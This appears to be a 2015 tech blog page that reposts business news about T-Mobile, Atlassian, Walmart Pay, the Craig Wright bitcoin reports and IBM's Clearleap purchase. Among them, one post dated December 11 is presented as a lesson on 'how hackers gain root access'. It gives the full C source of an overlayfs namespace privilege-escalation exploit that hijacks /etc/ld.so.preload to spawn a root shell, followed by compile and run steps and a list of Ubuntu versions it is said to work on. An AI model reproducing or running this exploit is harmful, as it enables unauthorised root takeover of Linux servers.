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Sunday, December 13, 2015
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T-Mobile Sets Hulu Lure to Snag Verizon Customers

T-Mobile last week introduced its latest promotion aimed at attracting subscribers from rival mobile phone carriers: 12 months of Hulu streaming service for Verizon customers who switch to T-Mobile.

The promotion, which the company called the fourth gift in its series of holiday surprises, follows previous attempts to lure customers. Last month it offered Simple Choice subscribers three months of Unlimited LTE, then it offered Sprint subscribers US$200 to switch. The most recent promotion gave AT&T customers who switched a phone memory upgrade and half off accessories.

In addition to a year's worth of Hulu service, T-Mobile will give Verizon customers who switch up to $125 off in-store accessories such as smartwatches, speakers, fitness trackers and headphones.

"Verizon customers put up with a lot of sneaky tricks from Big Red these days: overpriced data, shocking overage penalties and no early upgrade option -- just to name a few," T-Mobile CEO John Legere said.

"We are going to show their customers why the Un-carrier is better with a real gift: half-off the best accessories and a full year of Hulu that comes with unlimited LTE streaming with Binge On at T-Mobile," he added.

Mobile Viewing

The promotion is directed at mobile viewing, and while it specifically called out viewing habits on Hulu, it could be seen as a countermove aimed at addressing Verizon's recently launched video service.

"Hulu is very much responding to go90," said Joel Espelien, senior analyst at The Diffusion Group. "That service is Hulu-esque, and its content is meant to appeal to the millennial audience."

While go90 is available across all the carriers, it is seen as a Verizon service, which is something T-Mobile may understand, he told the E-Commerce Times.

Bundled Offering

Video could help lure in that youth market, but T-Mobile's connection to Hulu also could help as other carriers launch services or leverage their video options. Both AT&T and Verizon are already in the pay-TV business.

"It is not that T-Mobile is thinking it has to have a video bundle, but T-Mobile doesn't want to be left out without one," said Espelien.

"They are in a position where they have to bundle a third-party service as a way to level the playing field," he suggested.

Un-Carrier Promotions

While the promotion may be in part about ensuring that T-Mobile has similar offerings to its rivals, it's primarily about enticing Verizon customers to make the switch.

"Ultimately, any of these promotions boil down to trying to get customers," said Abel Nevarez, analyst in the mobile group at IHS Technology.

"Verizon customers have the network on their side, so T-Mobile is looking to attract customers with other options, including its music service," he told the E-Commerce Times.

"This is a play for younger customers, and so far these promotions have been good for attracting customers, so they work on some level," Nevarez added. "These aren't just gimmicks, as we are seeing that they are resonating with customers."

Hulu's Attraction

The video service could be a good option because it's established enough that people know it yet might not subscribe to it.

"Hulu is something that most millennials may have heard of, so this is pretty clever because something with lower brand awareness might not have been known, and Netflix is something they're already using," said Espelien.

It could take promotions like this to get anyone to seriously consider changing carriers.

"Churn is really, really low in the U.S. wireless industry, which is also saturated, so this is why you do see this sort of pouching going on," added Espelien.

Gift Worthy?

T-Mobile noted that this is the fourth promotion in its Un-carrier Unwrapped surprises, but compared to the others it may be more of a stocking stuffer.

"We have to look at the offer in combination with the various accessories that it is offering," said Roger Entner, principal analyst at Recon Analytics.

"T-Mobile has basically offered a $200 discount to Sprint subscribers, but this is a free year of a service that customers might not want, so that feels pretty Grinch-like," he told the E-Commerce Times.

"To get the full advantage of the offering if you are a Verizon customer, you have to buy something on top of it," he added. "It is certainly less generous than the offers they had before."

About the Networks

T-Mobile needs to offer such promotions because Verizon offers better nationwide coverage, according to Entner.

"T-Mobile is expanding its network, and they are working really hard," he said.

"If you are in Manhattan or Boston, as well as most cities, T-Mobile isn't really that different, but the moment you go out further, Verizon and AT&T hold up much better," Entner added. "T-Mobile knows that coverage remains the sore point, so they're addressing it where they can, and in the meantime they'll offer you goodies."

Peter Suciu is a freelance writer who has covered consumer electronics, technology, electronic entertainment and fitness-related trends for more than a decade. His work has appeared in more than three dozen publications, and he is the co-author of Careers in the Computer Game Industry (Career in the New Economy series), a career guide aimed at high school students from Rosen Publishing. You can connect with Peter on Google+.

8:14 AM

T-Mobile last week introduced its latest promotion aimed at attracting subscribers from rival mobile phone carriers: 12 months of H...

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Atlassian last week exceeded expectations with its initial public offering, beginning trading at more than US$27 per share, about 30 percent higher than the $21 issue price.

That means the company -- trading under the ticker "TEAM" -- was valued at about $5.6 billion Thursday.

Atlassian's shares closed at $27.78.

The company, founded in 2002, is best known for its Jira and HipChat products.

It has been profitable for the past 10 years. Code.org and The Daily Telegraph are among the 50,000 organizations in 160 countries using its products.

Going public won't change Atlassian's fiscally conservative ways. "We've always been focused on the long term, and fiscal responsibility goes hand in hand with that mindset," company president Jay Simons said.

"Transitioning to a public company won't change that mindset," he told the E-Commerce Times.

What Atlassian Offers

Other Atlassian's products include Confluence, FishEye, Crucible and Bamboo.

The company charges $10 a year for up to 10 users on Jira Software, Jira Core, Capture for Jira, Confluence, HipChat Server, Team Calendars for Confluence and Bitbucket Server. That $10 gets 50 users on Crowd, 10 committers and five repositories on FishEye, five users on Crucible, up to three agents on Jira Service Desk, and 10 plans and unlimited local agents on Bamboo.

Server licenses are perpetual except for HipChat Server, which is an annual term license starting at $10 for 10 users.

Atlassian's Business Model

In addition to its flat pricing structure, the company uses an e-commerce model and doesn't have a sales or marketing team.

"We've always believed great products sell themselves, so we've decided to make deep investments in R&D to allow us to deliver great products our users love," Simons said.

"Our products ... make a huge impact on [users'] organizations, and when something transforms your work for the better, you use it, you share it, and you take it with you to your next company," he continued. "We think [that approach] will take us to the next level."

Now the company has gone public, it's subject to the demands of Wall Street, pointed out Mike Jude, a program manager at Frost & Sullivan.

"It won't be good enough to just be profitable," he told the E-Commerce Times. "They will have to increase profitability over time. This will require more innovation and a focus on growth."

Swimming Against a Dismal Tide

This has been the worst year for venture capital-backed IPOs since 2010, according to Fortune. To date, 79 VC-backed firms have raised $9.2 billion in the United States, including the $462 million Atlassian raised.

Compare that to last year, when 117 companies amassed $15.5 billion, or 2011, when 50 companies raised $10.44 billion.

Atlassian did well because "they're printing green ink and lots of it," ventured Laura DiDio, a research director at Strategy Analytics.

"The company's profitable ... in stark contrast to many other highly touted IPOs from the dot-com era to the present day," she told the E-Commerce Times. It has more than 5 million monthly active users and a "very impressive client roster of Fortune 1,000 accounts, including Visa, Facebook, Salesforce and eBay."

Atlassian's success is an object lesson for companies seeking to go public, Frost's Jude suggested.

"Generic ideas don't resonate anymore, but good ideas do," he said. "The way you prove you have a good idea is to make money. That's what tech companies need to understand."

Challenges Ahead

Atlassian will have to be more image conscious and marketing driven, DiDio predicted.

"As long as Atlassian continues to succeed, it will only have to make minimal changes to its strategy," she said, but "it will be facing a lot of scrutiny regarding its technology, business and financial decisions and be second-guessed and have its partnerships, alliances and marketing initiatives analyzed or criticized."

Richard Adhikari has written about high-tech for leading industry publications since the 1990s and wonders where it's all leading to. Will implanted RFID chips in humans be the Mark of the Beast? Will nanotech solve our coming food crisis? Does Sturgeon's Law still hold true? You can connect with Richard on Google+.

3:34 AM

Atlassian last week exceeded expectations with its initial public offering, beginning trading at more than US$27 per share, about 30...

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Friday, December 11, 2015
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I will show you how hackers gain root access to your Linux VPS server. This exploit still working nowadays.
The process will be explained with details following this demo:
First: Create a C file "privilege_escalation.c

put this code in the file:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);
    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";
    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");
    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }
    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;
    fprintf(stderr,"spawning threads\n");
    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");
        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }
            waitpid(pid, &status, 0);
        }
        waitpid(init, &status, 0);
        return 0;
    }
    usleep(300000);
    wait(NULL);
    fprintf(stderr,"child threads done\n");
    fd = open("/etc/ld.so.preload",O_WRONLY);
    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }
    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}
Second Step : Compile and Build the program :
To create the executable run this command:
user@ubuntu-server-1504:~$ gcc privilege_escalation.c -o privilege_escalation
 This will make an executable program  called privilege_escalation..

Final Step :  Get  access to shell As root (running the exploit)

execute the exploit by this command:
user@ubuntu-server-1504:~$ ./privilege_escalation

This will generate a root terminal.
This exploit works on Ubuntu 12.04, 14.04, 14.10, 15.04


12:29 PM

I will show you how hackers gain root access to your Linux VPS server. This exploit still working nowadays. The process will be e...

Read more »
Thursday, December 10, 2015
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Walmart Jumps Into Mobile Pay Fray

Walmart on Thursday introduced its own mobile payments solution to let customers make in-store purchases with an Android or iOS smartphone. The move will make it the only retailer to compete with third-party mobile payment systems.

Walmart currently is rolling out the feature through its Walmart mobile app in select stores in the northwest Arkansas area. It will expand to stores across the country by the first half of 2016, according to company spokesperson Danit Marquardt.

"The goal of Walmart Pay is simple," she told the E-Commerce Times. "Improve the checkout experience at Walmart stores and expand mobile payment access for millions of Americans."

The company sees Walmart Pay as complementary to other third-party mobile pay apps, and it is evaluating several mobile wallets that may be integrated into the Walmart Pay ecosystem in the future, Marquardt said.

Walmart Pay is designed to work with any major credit, debit, prepaid or Walmart gift card. It will allow customers to automate several functions, such as picking up of merchandise ordered online, refilling prescriptions at Walmart pharmacies, or finding a store location to purchase a particular item.

Twenty-two million people currently use the Walmart app each month, the company said, and it ranks among the top three retail apps on Google Play and the iTunes App Store.

Walmart never has offered Apple Pay or Android Pay at its stores, Marquardt confirmed.

Keeping Customer Data, Transaction Fees

One of the key reasons Walmart would choose to go in this direction could be to develop direct relationships with its customers rather than allowing third parties like Apple and Google to operate as intermediaries, observed Charles King, principal analyst at Pund-IT.

"This is something large-scale retailers and other companies have done for years, as evidenced by branded credit cards and gift cards," he told the E-Commerce Times.

It's too early to determine how well Walmart will do, as mobile payments are a small percentage of overall retail purchases, King noted. They reached about US$3.5 billion in 2014, and have been growing at a slower pace than expected.

A customer can make a Walmart Pay transaction at any register in the store by opening the Walmart app, choosing Walmart Pay, activating the camera, and then scanning the code displayed at the register. The Walmart associate then scans and bags the items being purchased. The system sends an e-receipt directly to the app.

Walmart has no plans to offer special discounts exclusively to Walmart Pay users, Marquardt said.

One of Walmart's key goals likely is to reduce the fees it pays for third-party charge card transactions, suggested Kevin Krewell, principal analyst at Tirias Research.

"When you are the scale of Walmart, a few percentage [points] of the purchases adds up to a lot of money," he told the E-Commerce Times.

Walmart belongs to the MCX Consortium, which is promoting a mobile payment system called "CurrentC," Krewell noted. CurrentC aims to compete directly with Apple Pay, but it has been delayed until 2016.

CVS and Rite Aid, two pharmacy chains that are part of the MCX Consortium, turned off the Apple Pay system at their stores last fall.

Right after that decision, a team of antitrust lawyers at Schubert, Jonckheer & Kolbe threatened to go after the chains for possible antitrust violations.

Rite Aid this summer reversed course and announced it would accept Apple Pay, Google Wallet and Android Pay.

Merchant-Owned platform

CurrentC currently is undergoing beta tests in Columbus, Ohio, according to MCX, and Walmart is one of 40 merchant partners planning a national launch.

"Walmart continues to be a strong and supportive partner of MCX and CurrentC -- and our goals remain the same -- to offer customers choices and convenience at checkout," MCX said in a statement provided to the E-Commerce Times by spokesperson Jonathan Lowe.

It remains to be seen whether the millions of Walmart customers who don't have credit or debit cards -- or in some cases, checking accounts -- will embrace the mobile app.

"There's a certain percentage of their customers who don't have cards of any type -- they're essentially bankless people," RSR Research analyst Brian Kilcourse told the E-Commerce Times.

It is not yet clear if those customers will be able to load cash directly onto the mobile app.

David Jones is a freelance writer based in Essex County, New Jersey. He has written for Reuters, Bloomberg, Crain's New York Business and The New York Times.

3:20 AM

Walmart on Thursday introduced its own mobile payments solution to let customers make in-store purchases with an Android or iOS sma...

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Wednesday, December 9, 2015
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Australian police on Wednesday afternoon raided the home of a shadowy figure who just hours earlier had been outed as one of the original founders of bitcoin digital currency in two separate media reports.

Identified in multiple media reports, Australian entrepreneur Craig Steven Wright was said to be the man who for years had been known as "Satoshi Nakamoto" -- widely considered the creator of the controversial bitcoin cryptocurrency.

The Australian Federal Police "conducted search warrants to assist the Australian Taxation Office at a residence in Gordon, NSW, and a business premises in Ryde, Sydney," a spokesperson confirmed in a statement provided to the E-Commerce Times.

The Taxation Office, which is the equivalent of the Internal Revenue Service in the U.S., could not comment on the taxation affairs of an individual or entity, citing confidentiality provisions in the Tax Administration Act, according to a spokesperson.

Wright's Links to Nakamoto Identity

The raid came just hours after Gizmodo and Wired each published investigative stories claiming to uncover the true identities of the bitcoin founder.

However, the raids were not conducted as the result of any such reports, police officials said.

"Satoshi Nakamoto" was the nomme de guerre of two bitcoin innovators -- Wright and U.S. computer forensics expert David Kleiman, who died in 2013, Gizmodo reported.

Wright was the chief executive officer of DeMorgan, which in 2014 announced plans to open the world's first bitcoin-based bank, called "Denaruiz Bank," according to a report in Business Insider Australia.

A cache of leaked emails, transcripts and accounting forms that link Wright to Nakamoto formed the basis of Wired's report.

The documents include correspondence between Wright and Kleiman, as well as documents dating back to 2008 that, for example, reference Wright discussing a "P2P distributed ledger" that was a record of transactions that we now know as a "blockchain." There's also a 2009 blogpost, which since has been deleted, that references Wright's plan to launch bitcoin, according to Wired.

A group of redacted documents obtained by the E-Commerce Times appear to show a meeting from February 2014 involving tax officials and Wright discussing his companies, including Hotwire Pre-eemptive Intelligence, Coin Exch Pty., Cloudcroft and other entities. The documents reference a legal advisor, Andrew Sommer, who is referenced in several reports as an attorney for Wright.

Wright's biography describes him as a former executive vice president of strategic development at the UK Centre for Strategic Cyberspace and Security Science.

Kleiman Link

Kleiman was a U.S. Army veteran from Palm Beach County, Fla., who was confined to a wheelchair following a motorcycle accident in 1995, and died in squalor with a loaded handgun and empty alcohol bottles surrounding his body, the Gizmodo report claims.

However, Kleiman had a bitcoin currency trust worth hundreds of millions of dollars, the report also claims.

The reports may not quite pass the smell test, however.

"My conclusion is that it's way too early to point to Mr Wright as the inventor of bitcoin," said Kevin Krewell, principal analyst at Tirias Research.

Even if Wright turns out to be the genuine article, the future development of the bitcoin business will not be harmed in a way that halts or reverses its growth, he said.

"The system is decentralized and can continue without its founder," Krewell told the E-Commerce Times.

"Bitcoin is not unlike Linux, where the code is contributed to by many people around the globe, but unlike Linux, the founder/inventor Satoshi Nakamoto has not taken a visible role in the technology's future," he pointed out.

As to whether Wright and Nakamoto are one and the same, "I think there are a lot of questions," said William Norton, an associate at Baker Donelson.

"The bitcoin community that I have encountered seems very skeptical. They're naturally a fairly conspiratorial group, but I think there are genuine questions outstanding," he told the E-Commerce Times.

"If we need definitive evidence, there should be a private key on the computers of the founder that would prove his identity," Norton said. "I imagine a good portion of the community will be skeptical until they see that."

Attorney Andrew Sommer, who reportedly represents Wright, was not immediately available to comment for this story.

David Jones is a freelance writer based in Essex County, New Jersey. He has written for Reuters, Bloomberg, Crain's New York Business and The New York Times.

8:10 AM

Australian police on Wednesday afternoon raided the home of a shadowy figure who just hours earlier had been outed as one of the ori...

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IBM Leaps Into Video Delivery

IBM on Tuesday revealed that it has acquired Clearleap, a company that develops cloud middleware for streaming video between endpoints.

Clearleap's scalable video platform can support millions of concurrent users in the event live broadcasting is in high demand. Customers of the company, which recently raised $40 million in funding, include the NFL, Time Warner Cable, Verizon and HBO.

IBM intends to integrate Clearleap's video platform into the IBM Cloud for enterprises looking to manage, monetize and expand user video experiences and deliver them securely via the Web and mobile devices.

The acquisition is part of IBM's broader strategy for its Platform as a Service offering. Clearleap will add a new facet to that strategy: Web video.

The acquisition has the potential to create "huge, discrete business opportunities for online video," said Charles King, principal analyst for Pund-IT.

"While I expect Clearleap to continue serving and pursuing entertainment companies, like its existing clients -- HBO, Verizon, TWC and so on -- the deal clearly reflects IBM's belief that video will grow in importance among the company's enterprise customers and eventually become common in business content/communications," he told the E-Commerce Times.

The deal may appear mundane, but it will be interesting to watch how it progresses, said brand consultant Evan Carmichael.

IBM "has had 14 consecutive falls in quarterly revenue," he told the E-Commerce Times.

"They're shifting from hardware to cloud computing, and since they are forced to buy their way in since they haven't kept up on the R&D side to stay relevant, they're up against established players like Oracle and Microsoft as well as Internet-based businesses like Salesforce.com and Amazon.com," Carmichael said.

IBM declined to disclose financial details of the deal.

Head in the Clouds

As its hardware business rusts, IBM has been stepping up efforts to pivot to the cloud and establish itself as a heavyweight in the sector. While it has focused on cloud storage in all the popular flavors, as well as development, the company also has been laying the framework for Web video.

It acquired Aspera in 2013 to boost large data transfers, and this year announced it was buying Cleversafe for its object-based storage. Both of those platforms will be used to support Clearleap's platform.

IBM has its toes and fingers in range of high-tech sectors, noted Tirias Research Principal Analyst Paul Teich, who once worked with video compression technologies.

It might have been a bad use of time and money for IBM to try to build out a video delivery service from base ingredients, he told the E-Commerce Times.

"I wouldn't call it the final days of print, but we're certainly moving to a more postliterate society," Teich said. "People want to communicate directly with one another in real time, using natural communication methods, with video being one of them. So I see this as a move on IBM's part to catch up."

IBM has been playing catch-up because other cloud players are so far ahead. However, the growing strength of IBM cloud has pushed the company into a good position, and other power players, such as Amazon Web Services, are far from invincible, according to Pund-IT's King.

"That's especially the case if you take into account the problems AWS has had with its own service, like the database glitch in September that halted Netflix's and Amazon's video services," he said.

Video on Demand, in Demand

Video has become increasingly important, and quality matters a great deal, according to Teich. People care about color accuracy, compression artifacts and a stable frame rate.

"People are visual creatures," he said. "When you look at how much we understand through our eyes and how quickly we understand it, it's perhaps the dominant sense that we have in terms of sensing the world around us and interacting with other people."

It isn't easy to deliver the "high bandwidth our eyes want to see," Teich said. These days, people want Web delivery of content to their mobile devices -- "cloud first, mobile first," as Microsoft once phrased it.

Purchasing Clearleap "is a good catch-up move," he said. "Certainly it's not too late for anything."

Quinten Plummer is a longtime technology reporter and an avid PC gamer who explored local news for a few years, covering law enforcement and government beats, before returning to writing about things run by ones and zeros and the people who make them. If it pushes pixels or improves lives, he wants to learn all he can about it.

6:34 AM

IBM on Tuesday revealed that it has acquired Clearleap, a company that develops cloud middleware for streaming video between endpo...

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